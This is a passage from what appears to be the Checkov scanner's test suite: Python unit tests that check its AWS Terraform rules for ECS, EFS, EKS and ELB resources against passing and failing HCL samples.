iam             = \"ENABLED\"\n      }\n    }\n  }\n}\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_ecs_task_definition']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n        \n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_ecs_task_definition\" \"test\" {\n  family                = \"service\"\n  container_definitions = file(\"task-definitions/service.json\")\n\n  volume {\n    name = \"service-storage\"\n\n    efs_volume_configuration {\n      file_system_id          = aws_efs_file_system.fs.id\n      root_directory          = \"/opt/data\"\n      transit_encryption_port = 2999\n      authorization_config {\n        access_point_id = aws_efs_access_point.test.id\n        iam             = \"ENABLED\"\n      }\n    }\n  }\n}\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_ecs_task_definition']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\n    def test_failure_explicit(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_ecs_task_definition\" \"test\" {\n  family                = \"service\"\n  container_definitions = file(\"task-definitions/service.json\")\n\n  volume {\n    name = \"service-storage\"\n\n    efs_volume_configuration {\n      file_system_id          = aws_efs_file_system.fs.id\n      root_directory          = \"/opt/data\"\n      transit_encryption      = \"DISABLED\"\n      transit_encryption_port = 2999\n      authorization_config {\n        access_point_id = aws_efs_access_point.test.id\n        iam             = \"ENABLED\"\n      }\n    }\n  }\n}\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_ecs_task_definition']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ECSTaskDefinitionRoleCheck.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ECSTaskDefinitionRoleCheck import check\nfrom checkov.terraform.runner import Runner\n\n\nclass testECSTaskDefinitionRoleCheck(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ECSTaskDefinitionRoleCheck\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n        print(\"***\", summary)\n\n        passing_resources = {\n            \"aws_ecs_task_definition.pass\"\n        }\n        failing_resources = {\n            \"aws_ecs_task_definition.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_EFSAccessPointRoot.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.EFSAccessPointRoot import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestEFSAccessPointRoot(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_EFSAccessPointRoot\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_efs_access_point.pass\",\n        }\n        failing_resources = {\n            \"aws_efs_access_point.fail\",\n            \"aws_efs_access_point.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_EFSAccessUserIdentity.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.EFSAccessUserIdentity import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestEFSAccessUserIdentity(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_EFSAccessUserIdentity\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_efs_access_point.pass\",\n        }\n        failing_resources = {\n            \"aws_efs_access_point.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_EFSEncryptionEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.EFSEncryptionEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestEFSEncryptionEnabled(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_EFSEncryptionEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_efs_file_system.enabled\",\n        }\n        failing_resources = {\n            \"aws_efs_file_system.default\",\n            \"aws_efs_file_system.disabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_EFSFileSystemEncryptedWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.EFSFileSystemEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\nclass TestResourceEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_EFSFileSystemEncryptedWithCMK\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_efs_file_system.pass\",\n        }\n        failing_resources = {\n            \"aws_efs_file_system.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_EKSControlPlaneLogging.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.EKSControlPlaneLogging import check\nfrom checkov.terraform.runner import Runner\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestEKSControlPlaneLogging(unittest.TestCase):\n    def test_failure(self):\n        resource_conf = {'name': ['testcluster'], 'enabled_cluster_log_types': [['api', 'audit']]}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_empty(self):\n        resource_conf = {'name': ['testcluster']}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {'name': ['testcluster'], 'enabled_cluster_log_types': [['api', 'audit', 'authenticator', 'controllerManager', 'scheduler']]}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure_not_enabled(self):\n        resource_conf = {'name': ['testcluster'], 'enabled_cluster_log_types': []}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_file(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_EKSControlPlaneLogging\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_eks_cluster.fully_enabled\",\n            \"aws_eks_cluster.fully_enabled_with_dynamic_block\"\n        }\n        failing_resources = {\n            \"aws_eks_cluster.partially_enabled\",\n            \"aws_eks_cluster.not_configured\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_EKSNodeGroupRemoteAccess.py",
    "content": "import unittest\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.EKSNodeGroupRemoteAccess import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestEKSNodeGroupRemoteAccess(unittest.TestCase):\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_eks_node_group\" \"test\" {\n  cluster_name    = aws_eks_cluster.example.name\n  node_group_name = \"example\"\n  node_role_arn   = aws_iam_role.example.arn\n  subnet_ids      = aws_subnet.example[*].id\n\n  remote_access {\n    ec2_ssh_key = \"some-key\"\n  }\n\n  scaling_config {\n    desired_size = 1\n    max_size     = 1\n    min_size     = 1\n  }\n}\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_eks_node_group']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_eks_node_group\" \"test\" {\n  cluster_name    = aws_eks_cluster.example.name\n  node_group_name = \"example\"\n  node_role_arn   = aws_iam_role.example.arn\n  subnet_ids      = aws_subnet.example[*].id\n\n  remote_access {\n    ec2_ssh_key = \"some-key\"\n    source_security_group_ids = \"some-group\"\n  }\n\n  scaling_config {\n    desired_size = 1\n    max_size     = 1\n    min_size     = 1\n  }\n}\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_eks_node_group']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_implicit(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_eks_node_group\" \"test\" {\n  cluster_name    = aws_eks_cluster.example.name\n  node_group_name = \"example\"\n  node_role_arn   = aws_iam_role.example.arn\n  subnet_ids      = aws_subnet.example[*].id\n\n  scaling_config {\n    desired_size = 1\n    max_size     = 1\n    min_size     = 1\n  }\n}\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_eks_node_group']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_EKSPlatformVersion.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.EKSPlatformVersion import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestEKSPlatformVersion(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_EKSPlatformVersion\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_eks_cluster.pass\",\n            \"aws_eks_cluster.pass2\",\n        }\n        failing_resources = {\n            \"aws_eks_cluster.fail\",\n            \"aws_eks_cluster.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_EKSPublicAccess.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.EKSPublicAccess import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestEKSPublicAccess(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_EKSPublicAccess\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_eks_cluster.disabled\",\n        }\n        failing_resources = {\n            \"aws_eks_cluster.default\",\n            \"aws_eks_cluster.enabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_EKSPublicAccessCIDR.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.EKSPublicAccessCIDR import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestEKSPublicAccessCIDR(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_EKSPublicAccessCIDR\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_eks_cluster.disabled\",\n            \"aws_eks_cluster.restricted\",\n        }\n\n        failing_resources = {\n            \"aws_eks_cluster.default\",\n            \"aws_eks_cluster.empty\",\n            \"aws_eks_cluster.open\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_EKSSecretsEncryption.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.aws.EKSSecretsEncryption import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestEKSSecretsEncryption(unittest.TestCase):\n    def test_failure(self):\n        resource_conf = {'name': ['bad-eks'], 'role_arn': ['${var.role_arn}'], 'vpc_config': [{'subnet_ids': [[]], 'endpoint_public_access': [True]}], 'encryption_config': [{'provider': [{'key_arn': ['${var.key_arn}']}], 'resources': [[]]}]}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure2(self):\n        resource_conf = {'name': ['bad-eks2'], 'role_arn': ['${var.role_arn}'], 'vpc_config': [{'subnet_ids': [[]], 'endpoint_public_access': [True]}]}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {'name': ['good-eks2'], 'role_arn': ['${var.role_arn}'], 'vpc_config': [{'subnet_ids': [[]], 'endpoint_public_access': [True]}], 'encryption_config': [{'provider': [{'key_arn': ['${var.key_arn}']}], 'resources': [['secrets']]}]}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ELBAccessLogs.py",
    "content": "import unittest\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.ELBAccessLogs import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestELBAccessLogs(unittest.TestCase):\n\n    def test_failure_elb_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n          resource \"aws_elb\" \"test\" {\n            name = \"test-lb-tf\"\n            availability_zones = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n\n            listener {\n              instance_port     = 8000\n              instance_protocol = \"http\"\n              lb_port           = 80\n              lb_protocol       = \"http\"\n            }\n          }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_elb']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_elb_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n          resource \"aws_elb\" \"test\" {\n            name = \"test-lb-tf\"\n            availability_zones = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n\n            listener {\n              instance_port     = 8000\n              instance_protocol = \"http\"\n              lb_port           = 80\n              lb_protocol       = \"http\"\n            }\n\n            access_logs {\n              bucket  = aws_s3_bucket.lb_logs.bucket\n              enabled = false   \n            }\n          }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_elb']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)           \n\n    def test_success_elb_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"aws_elb\" \"test\" {\n            name = \"test-lb-tf\"\n            availability_zones = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n\n            listener {\n              instance_port     = 8000\n              instance_protocol = \"http\"\n              lb_port           = 80\n              lb_protocol       = \"http\"\n            }\n\n            access_logs {\n              bucket  = aws_s3_bucket.lb_logs.bucket\n              enabled = true\n            }\n          }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_elb']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_elb_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"aws_elb\" \"test\" {\n            name = \"test-lb-tf\"\n            availability_zones = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n\n            listener {\n              instance_port     = 8000\n              instance_protocol = \"http\"\n              lb_port           = 80\n              lb_protocol       = \"http\"\n            }\n\n            access_logs {\n              bucket  = aws_s3_bucket.lb_logs.bucket\n              # The default value for enabled is true              \n            }\n          }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_elb']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)          \n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ELBCrossZoneEnable.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.ELBCrossZoneEnable import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestELBCrossZoneEnable(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"aws_elb\" \"test_failed\" {\n              name               = \"foobar-terraform-elb\"\n              availability_zones = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n            \n              access_logs {\n                bucket        = \"foo\"\n                bucket_prefix = \"bar\"\n                interval      = 60\n              }\n            \n              listener {\n                instance_port     = 8000\n                instance_protocol = \"http\"\n                lb_port           = 80\n                lb_protocol       = \"http\"\n              }\n            \n              listener {\n                instance_port      = 8000\n                instance_protocol  = \"http\"\n                lb_port            = 443\n                lb_protocol        = \"https\"\n                ssl_certificate_id = \"arn:aws:iam::123456789012:server-certificate/certName\"\n              }\n            \n              health_check {\n                healthy_threshold   = 2\n                unhealthy_threshold = 2\n                timeout             = 3\n                target              = \"HTTP:8000/\"\n                interval            = 30\n              }\n            \n              instances                   = [aws_instance.foo.id]\n              idle_timeout                = 400\n              connection_draining         = true\n              connection_draining_timeout = 400\n            \n              cross_zone_load_balancing = false\n            }\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_elb']['test_failed']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_missing_attribute(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"aws_elb\" \"test_success\" {\n              name               = \"foobar-terraform-elb\"\n              availability_zones = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n\n              access_logs {\n                bucket        = \"foo\"\n                bucket_prefix = \"bar\"\n                interval      = 60\n              }\n\n              listener {\n                instance_port     = 8000\n                instance_protocol = \"http\"\n                lb_port           = 80\n                lb_protocol       = \"http\"\n              }\n\n              listener {\n                instance_port      = 8000\n                instance_protocol  = \"http\"\n                lb_port            = 443\n                lb_protocol        = \"https\"\n                ssl_certificate_id = \"arn:aws:iam::123456789012:server-certificate/certName\"\n              }\n\n              health_check {\n                healthy_threshold   = 2\n                unhealthy_threshold = 2\n                timeout             = 3\n                target              = \"HTTP:8000/\"\n                interval            = 30\n              }\n\n              instances                   = [aws_instance.foo.id]\n              idle_timeout                = 400\n              connection_draining         = true\n              connection_draining_timeout = 400\n            }\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_elb']['test_success']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"aws_elb\" \"test_success\" {\n              name               = \"foobar-terraform-elb\"\n              availability_zones = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n\n              access_logs {\n                bucket        = \"foo\"\n                bucket_prefix = \"bar\"\n                interval      = 60\n              }\n\n              listener {\n                instance_port     = 8000\n                instance_protocol = \"http\"\n                lb_port           = 80\n                lb_protocol       = \"http\"\n              }\n\n              listener {\n                instance_port      = 8000\n                instance_protocol  = \"http\"\n                lb_port            = 443\n                lb_protocol        = \"https\"\n                ssl_certificate_id = \"arn:aws:iam::123456789012:server-certificate/certName\"\n              }\n\n              health_check {\n                healthy_threshold   = 2\n                unhealthy_threshold = 2\n                timeout             = 3\n                target              = \"HTTP:8000/\"\n                interval            = 30\n              }\n\n              instances                   = [aws_instance.foo.id]\n              cross_zone_load_balancing   = true\n              idle_timeout                = 400\n              connection_draining         = true\n              connection_draining_timeout = 400\n            }\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_elb']['test_success']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ELBPolicyUsesSecureProtocols.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ELBPolicyUsesSecureProtocols import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestELBPolicyUsesSecureProtocols(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ELBPolicyUsesSecureProtocols\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_load_balancer_policy.pass\",\n            \"aws_load_balancer_policy.pass2\",\n            \"aws_load_balancer_policy.pass3\",\n        }\n        failing_resources = {\n            \"aws_load_balancer_policy.fail\",\n            \"aws_load_balancer_policy.fail2\",\n            \"aws_load_balancer_policy.fail3\",\n            \"aws_load_balancer_policy.fail4\",\n            \"aws_load_balancer_policy.fail5\",\n            \"aws_load_balancer_policy.fail6\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 6)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ELBUsesSSL.py",
    "content": "import unittest\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.ELBUsesSSL import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestELBUsesSSL(unittest.TestCase):\n\n    def test_failure_elb_one_listener(self):\n        hcl_res = hcl2.loads(\"\"\"\n          resource \"aws_elb\" \"test\" {\n              name               = \"foobar-terraform-elb\"\n              availability_zones = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n            \n              listener {\n                instance_port     = 8000\n                instance_protocol = \"http\"\n                lb_port           = 80\n                lb_protocol       = \"http\"\n              }\n            \n              health_check {\n                healthy_threshold   = 2\n                unhealthy_threshold = 2\n                timeout             = 3\n                target              = \"HTTP:8000/\"\n                interval            = 30\n              }\n            \n              instances                   = [aws_instance.foo.id]\n              cross_zone_load_balancing   = true\n              idle_timeout                = 400\n              connection_draining         = true\n              connection_draining_timeout = 400\n          }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_elb']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_elb_multi_listener(self):\n        hcl_res = hcl2.loads(\"\"\"\n          resource \"aws_elb\" \"test\" {\n              name               = \"foobar-terraform-elb\"\n              availability_zones = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n\n              listener {\n                instance_port     = 8000\n                instance_protocol = \"http\"\n                lb_port           = 80\n                lb_protocol       = \"http\"\n              }\n              listener {\n                instance_port      = 8000\n                instance_protocol  = \"http\"\n                lb_port            = 443\n                lb_protocol        = \"https\"\n                ssl_certificate_id = \"arn:aws:iam::123456789012:server-certificate/certName\"\n              }    \n\n              health_check {\n                healthy_threshold   = 2\n                unhealthy_threshold = 2\n                timeout             = 3\n                target              = \"HTTP:8000/\"\n                interval            = 30\n              }\n\n              instances                   = [aws_instance.foo.id]\n              cross_zone_load_balancing   = true\n              idle_timeout                = 400\n              connection_draining         = true\n              connection_draining_timeout = 400\n          }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_elb']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_elb(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"aws_elb\" \"test\" {\n          name               = \"foobar-terraform-elb\"\n          availability_zones = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n          \n          listener {\n            instance_port      = 8000\n            instance_protocol  = \"http\"\n            lb_port            = 443\n            lb_protocol        = \"https\"\n            ssl_certificate_id = \"arn:aws:iam::123456789012:server-certificate/certName\"\n          }           \n        \n          health_check {\n            healthy_threshold   = 2\n            unhealthy_threshold = 2\n            timeout             = 3\n            target              = \"HTTP:8000/\"\n            interval            = 30\n          }\n        \n          instances                   = [aws_instance.foo.id]\n          cross_zone_load_balancing   = true\n          idle_timeout                = 400\n          connection_draining         = true\n          connection_draining_timeout = 400\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_elb']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
